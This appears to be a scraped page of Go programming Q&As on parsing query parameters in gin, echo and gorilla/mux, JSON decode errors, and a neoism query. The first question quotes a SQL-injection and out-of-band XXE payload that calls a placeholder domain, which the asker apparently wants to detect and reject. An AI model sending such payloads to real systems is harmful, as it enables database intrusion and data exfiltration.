Running the following go code:
package main
import (
"fmt"
"github.com/gin-gonic/gin"
)
func main() {
r := gin.Default()
r.GET("/", func(c *gin.Context) {
qParam, ok := c.GetQuery("fromDate") // qParam is nil
query := c.Request.URL.Query() // query is empty
rawQuery := c.Request.URL.RawQuery // contains the parameter
fmt.Println(qParam, ok, query, rawQuery)
c.JSON(200, gin.H{
"message": "pong",
})
})
r.Run("localhost:8181")
}
With the following query parameter, golang seems to not be returning it:
fromDate=%7bbase%7d%7c%7cextractvalue(xmltype('%3c!DOCTYPE%20root%20[%3c!ENTITY%20%%20xxx%20SYSTEM%20%7bbase%7d%22http%3a%2f%2f%7bdomain%7d%2fext1%22%3e%xxx%3b]%3e'),'%2fl')
Although it is present in the URL.RawQuery:
debug screenshot
I need to access this value so I can validate it and return an error code, but as it is returned as nil I cannot do that.
Gin c.Query() and URL.Query() are the same:
Query returns the keyed url query value if it exists, otherwise it returns an empty string (""). It is shortcut for c.Request.URL.Query().Get(key)
And URL.Query() silently discards invalid params.
The query param you showed above is invalid. You should properly escape the original string before calling the server endpoint.
If this is not under your control, you may just be out of luck. You could attempt fixing the raw param, but that is arbitrary and not scalable.
For the record, this is what your original query string might look like:
{base}||extractvalue(xmltype('<!DOCTYPE root [<!ENTITY xxx SYSTEM {base}"http://{domain}/ext1"> xxx;]>'),'/l')
If your original query string is:
fromDate={base}||extractvalue(xmltype('<!DOCTYPE root [<!ENTITY % xxx SYSTEM {base}"http://{domain}/ext1">%xxx;]>'),'/l')
then you should encode the query like this(i don't think it is a good way):
fromDate=%7bbase%7d%7c%7cextractvalue(xmltype(%27%3C!DOCTYPE%20root%20[%3C!ENTITY%20%25%20xxx%20SYSTEM%20%7bbase%7d%22http%3a%2f%2f%7bdomain%7d%2fext1%22%3E%25xxx%3b]%3E%27),%27%2fl%27)
because the '%' in your original string was encoded as '%' not '%25' so the '%%' would be parsed with error.
Related
I am using https://github.com/labstack/echo in one of the projects. I am using c.QueryParam to parse the query parameter and its values. One of the values contains a + symbol in it and it converts them to a space character (which is correct). However, I would like to retain the + character in the value.
Ex: http://localhost:8080?param=test+test
fmt.Println(c.QueryParam("param"))
Right now it outputs test test. However, I am expecting the output as test+test. Is it possible to achieve it using c.QueryParam?
You can get the raw query and then parse the parameter and it's value
func hello(c echo.Context) error {
//to get the raw query
fmt.Println(c.Request().URL.RawQuery)
return c.String(http.StatusOK, "Hello, World!")
}
Then you can use strings.split(rawQuery,"=") to get the parameter and it's value.
You can write a custom helper function like below -
func CustomQueryParam(c echo.Context, name string) string {
qParams := make(map[string]string)
for _, singleQueryParamStr := range strings.Split(c.QueryString(), "&") {
val := strings.Split(singleQueryParamStr, "=")
qParams[val[0]] = val[1]
}
return qParams[name]
}
func TestGet(c echo.Context) error {
param := CustomQueryParam(c, "param")
fmt.Println(param)
return c.JSON(http.StatusOK, map[string]interface{}{
"message": "request is successful",
})
}
Now, the output is as your expection. It prints test+test. But what actually CustomQueryParam do?
Okay, let's explore the insight. Suppose, the api call is -
http://localhost:8080?param=test1+test2¶m2=test3
The CustomQueryParam function will take an echo.Context instance and the query param name as function parameters.
Then, inside for loop the whole query string i.e. in our case which is param=test1+test2¶m2=test3 is split by & and stored into string slice made by each query param string ([]string{"param=test1+test2", "param2=test3"}).
After that, we iterate over each query param string and again split into a string slice of two values having first value as param name and second value as param value. For example, for first query param string, the resultant output is like below -
"param=test1+test2" => []string{"param", "test1+test2"}
Then, the first value (param name) is assigned as map key and second value (param value) as map value.
After finishing above process for every query string, the map value by query param name (which is the parameter of this function) is returned.
One of the interesting fact about this custom function is that it returns empty string if query param is not found.
I know this has been asked a few times, but I don't see one that matches my need to support NULL values. I have fields that are optional in a DB. I need to output data in JSON format that includes these potentially NULL fields, which I would like to omit from the JSON if they are still NULL. I can change to some other default value other than NULL, but I haven't found one that works. I'm storing JSON arrays in JSON format (longtext) in MariaDB. Here's my code that fails (Playground link):
package main
import (
"encoding/json"
"fmt"
)
var respBytes = []byte("")
// Example data [12345, 23456, 34567]
func main() {
var jsonData []interface{}
err := json.Unmarshal(respBytes, &jsonData)
if err != nil {
fmt.Println(err)
}
fmt.Println(jsonData)
}
Replace respBytes empty string with example data and it works. Example data is simple JSON number array such as: "[12345, 23456, 34567]". How can I get it to work with data and without?
How can I get it to work with data and without?
Unfortunately, you can't, with the standard library json package. It validates the JSON input before (while) decoding it, and an empty string is not valid JSON, so it will err before you even have a chance to decode with a custom unmarshaler.
In this particular case, the only real option is to check for valid input first. Of course, you can do this with a wrapping function if you want:
func myUnmarshal(input []byte, target interface{}) error {
if len(input) == 0 {
return nil
}
return json.Unmarshal(input, target)
}
I've been working on a Go project where gorilla/mux is used as the router.
I need to be able to have query values associated with a route, but these values should be optional.
That means that I'd like to catch both /articles/123 and /articles/123?key=456 in the same handler.
To accomplish so I tried using the r.Queries method that accepts key/value pairs:
router.
Path("/articles/{id:[0-9]+}").Queries("key", "{[0-9]*?}")
but this makes only the value (456) optional, but not the key.
So both /articles/123?key=456 and /articles/123?key= are valid, but not /articles/123.
Edit: another requirement is that, after registering the route, I'd like to build them programatically, and I can't seem to work out how to use r.Queries even though the docs specifically state that it's possible (https://github.com/gorilla/mux#registered-urls).
#jmaloney answer works, but doesn't allow to build URLs from names.
I would just register your handler twice.
router.Path("/articles/{id:[0-9]+}").
Queries("key", "{[0-9]*?}").
HandlerFunc(YourHandler).
Name("YourHandler")
router.Path("/articles/{id:[0-9]+}").HandlerFunc(YourHandler)
Here is a working program to demonstrate. Notice that I am using r.FormValue to get the query parameter.
Note: make sure you have an up to date version go get -u github.com/gorilla/mux since a bug of query params not getting added the built URLs was fixed recently.
package main
import (
"fmt"
"log"
"net/http"
"github.com/gorilla/mux"
)
var router = mux.NewRouter()
func main() {
router.Path("/articles/{id:[0-9]+}").Queries("key", "{key}").HandlerFunc(YourHandler).Name("YourHandler")
router.Path("/articles/{id:[0-9]+}").HandlerFunc(YourHandler)
if err := http.ListenAndServe(":9000", router); err != nil {
log.Fatal(err)
}
}
func YourHandler(w http.ResponseWriter, r *http.Request) {
id := mux.Vars(r)["id"]
key := r.FormValue("key")
u, err := router.Get("YourHandler").URL("id", id, "key", key)
if err != nil {
http.Error(w, err.Error(), 500)
return
}
// Output:
// /articles/10?key=[key]
w.Write([]byte(u.String()))
}
If you register query parameters they are required doc:
All variables defined in the route are required, and their values must conform to the corresponding patterns.
Because those parameters are optional you just need to check for them inside of a handler function: id, found := mux.Vars(r)["id"]. Where found will show if the parameter in the query or not.
Seems like the best way to handle optional URL parameters is to define your router as normal without them, then parse the optional params out like this:
urlParams := request.URL.Query()
This returns a map that contains the URL parameters as Key/Value pairs.
I have a short Go program that runs the go list -json command for several packages, stores the output of each run of the command in a json.RawMessage, appends each json.RawMessage into a slice of json.RawMessages, and then returns the result to the server after concatenating each of the json.RawMessages together and compacting the json. However, there is an error message that gets produced when I run json.Compact that I can't locate the source of. Googling this error message reveals that most people who seem to encounter it--whether it's for an invalid , or some other character--have a hard time finding the source of it.
invalid character ',' looking for beginning of value
The code with comments is available to view here on play.golang.org (although it won't run there) and also below.
Question: can you explain the source of this error and how to prevent it?
(Note, some of the packages were included just for testing purposes)
package main
import (
"expvar"
"encoding/json"
"bytes"
"fmt"
"github.com/go-martini/martini"
"github.com/zenazn/goji"
"github.com/zenazn/goji/web"
"go/build"
"log"
"math/rand"
"net/http"
_ "net/http/pprof"
"os/exec"
)
type myType struct {
J []json.RawMessage
}
var pack map[string]string
type GoList struct {
Imports []string
}
type Import struct {
Dir string
ImportPath string
Name string
Target string
Standard bool
Root string
GoFiles []string
Imports []string
Deps []string
}
const contentTypeJSON = "application/json"
func main() {
http.HandleFunc("/importgraph", func(w http.ResponseWriter, r *http.Request) { importGraph(w, r) })
http.HandleFunc("/", handler)
http.ListenAndServe(":8080", nil)
}
func handler(w http.ResponseWriter, r *http.Request) {
fmt.Println("Inside handler")
fmt.Fprintf(w, "Hello world from my Go program!")
}
func importGraph(w http.ResponseWriter, r *http.Request) {
pack = make(map[string]string)
var t myType
cmd := exec.Command("go", "list", "-json")
stdout, err := cmd.Output()
if err != nil {
println(err.Error())
return
}
var list GoList
err = json.Unmarshal(stdout, &list)
for _, d := range list.Imports {
//get the imports for each of the packages listed by go list -json
t.imports(d)
}
var buff bytes.Buffer
//concatenate the separate json.RawMessages together into json
buff.WriteByte('[')
for i, j := range t.J {
if i != 0 {
buff.WriteByte(',')
}
buff.Write([]byte(j))
}
buff.WriteByte(']')
var buffer bytes.Buffer
if err := json.Compact(&buffer, buff.Bytes()); err != nil {
println(err.Error()) //error message: invalid character ',' looking for beginning of value
return
}
w.Header().Set("Content-Type", contentTypeJSON)
w.Write(buffer.Bytes())
}
func (myObj *myType) imports(pk string) error {
cmd := exec.Command("go", "list", "-json", pk)
stdout, _ := cmd.Output()
pack[pk] = pk
var deplist Import
json.Unmarshal(stdout, &deplist)
var newj json.RawMessage
json.Unmarshal(stdout, &newj)
myObj.J = append(myObj.J, newj)
for _, imp := range deplist.Imports {
if _, ok := pack[imp]; !ok {
myObj.imports(imp) //recursive call to get the imports of the imports etc
}
}
return nil
}
First, as has been commented, are you sure you can't use
the go/build package directly rather than running go list?
I Wouldn't use println (or fmt.Println) inside HTTP handlers. It's much better to use log.Println and/or get the error into the ResponseWriter. Also, it's a good idea to wrap your ListenAndServe call with log.Fatal.
When printing/logging error values you can just use err, no need to have err.Error().
Further, when you actually want to do something more detailed than just reporting/logging the error message you can look at it's type and other info. For example, log.Printf("verbose error info: %#v", err) gives:
&json.SyntaxError{msg:"invalid character ',' looking for beginning of value", Offset:0}
I tried this because I know the json package returns various error types with additional info and I was hoping the offset value would be of help. If it had been then something like this might have been helpful:
if err := json.Compact(…) {
if err != nil {
log.Println("json.Compact:", err)
if serr, ok := err.(*json.SyntaxError); ok {
log.Println("Occurred at offset:", serr.Offset)
// … something to show the data in buff around that offset …
}
}
}
But offset zero isn't helpful :(
So although this doesn't identify you problem hopefully
it can be of some help to your further investigation.
Edit:
So after adding:
log.Println("Write file:", ioutil.WriteFile("data.json", buff.Bytes(), 0600))
to the above error handling block I then ran a JSON validator on the resultant file and it identified this piece:
"XTestImports": [
"io",
"log",
"net"
]
},,{
"Dir": "/usr/local/go/src/mime",
"ImportPath": "mime",
"Name": "mime",
Note the double ,,.
That should tell you whete the error in your code is.
But if not, you need to skip empty entries, either when processing t.J or when you build it. The later is better and just involves:
if len(newj) > 0 {
myObj.J = append(myObj.J, newj)
}
(where btw you don't check for errors from json.Unmarshal so it's not clear if that is supposed to ever be empty or if it's empty due to a preceeding error. Never ignore error returns!)
I also encountered the same error message in a Go program, but the error message was within the HTTP response error, in HTML format when my HTTP response parser expected JSON.
For me, the solution was to change my request to include setting the Content-Type header to application/json. How you do this depends on which http client library you happen to be using; if you have access to the http.Header core type, you can set the header with .Set(...).
I realize the scope of this fix for me may not apply to the original question, but I came here first after googling and thought this would help others, since the message was not particularly obvious at first glance. The hint is that the invalid < character is the first HTML character in the error/response, which is likely the result of the request type not being set to application/json, thus the server responds with a non JSON response.
For me the issue was I was trying to parse the already parsed JSON.
I was also facing this error "invalid character 'N' looking for beginning of value".
This error was coming while "unmarshalling the non-json response into a json". I was expecting a json response, so wrote go code to unmarshal it into a json. But, due to URL change, the response that I was getting was a text ie. "404 Not found" error, which cannot be unmarshalled into a json.
"invalid character 'N' looking for beginning of value"
So, to summarise, this error appears when we are trying to unmarshal a non-json response (text/html/xml) into json.
Reason for this eerie error message is :
// When unmarshaling quoted strings, invalid UTF-8 or
// invalid UTF-16 surrogate pairs are not treated as an error.
// Instead, they are replaced by the Unicode replacement
// character U+FFFD.
https://golang.org/src/encoding/json/decode.go
In my case I saved my json as string then parsed it by :
stringData = JSON.parse(myJsonString)
I also had the same error another time using gin-context-ShouldBind() (https://godoc.org/github.com/gin-gonic/gin#Context.ShouldBind) and mapping my json to go object:
error was because it needs a json as string, so I used : JSON.stringify(jsonObject) when sending my request from front-end part.
And in case someone has the same problem as me, I needed to call JSON.stringify on my post data.
I encountered a similar problem with my error message being:
invalid character 'I' looking for beginning of value
In my case, i was trying to decode BSON using json.Unmarshal. Json doesn't recognize the ISODate type, which caused this error.
I had a similar issue. For me I omitted the first letter of my authorization token. So instead of
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InJhcGhhZWxuZ0BlbWFpbC5jb20iLCJleHAiOjE2MTM5NTQzMjB9.yPGC937VNAF8Qg05Z1x3fZ3zu_MUs-cA_Iag5-4RcJE"
I used this
"yJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InJhcGhhZWxuZ0BlbWFpbC5jb20iLCJleHAiOjE2MTM5NTQzMjB9.yPGC937VNAF8Qg05Z1x3fZ3zu_MUs-cA_Iag5-4RcJE"
I am writing a web application in Go and use Neo4j database for storing data. As Neo4j api to Go, i choose neoism.
However, look at the following code snippet.
db, _ := neoism.Connect("http://localhost:7474/db/data")
// Create a node with a Cypher quer
// Issue a query
//
res1 := []struct {
A string `json:"n.email"`
}{}
cq1 := neoism.CypherQuery{
//Use backticks for long statements - Cypher is whitespace indifferent
Statement: `
MATCH (n:Account {email: {email}})
RETURN n.email
`,
Parameters: neoism.Props{"email": "hans#ueli.com"},
Result: &res1,
}
db.Cypher(&cq1)
fmt.Println(res1)
I query here data from node Account and got a result return, everything works fine here.
The second code almost the same, but I am creating here directly(variable res2) a pointer slice.
// Validate, if email already available in db
res2 := []*struct {
A string `json:"n.email"`
}{}
cq := &neoism.CypherQuery{
Statement: `
MATCH (n:Account {email: {email}})
RETURN n.email
`,
Parameters: neoism.Props{"email": "hans#ueli.com"},
Result: res2,
}
db.Cypher(cq)
fmt.Println(res2)
The difference between them are, I've got by the first sample a result but second not.
Result:
[{hans#ueli.com}]
[]
What do I wrong with pointer res2 here?
From the neoism documentation:
Result must be a pointer to a slice of structs - e.g. &[]someStruct{}
Nothing is said about slices of struct pointers, so I assume that your slice is empty because the function is not expecting pointers, so it couldn't put anything in the slice.
I encountered the same behavior when giving sqlx.Query the wrong type of slice. The lacks of error is quite frustrating the first times, but it quickly becomes a reflex.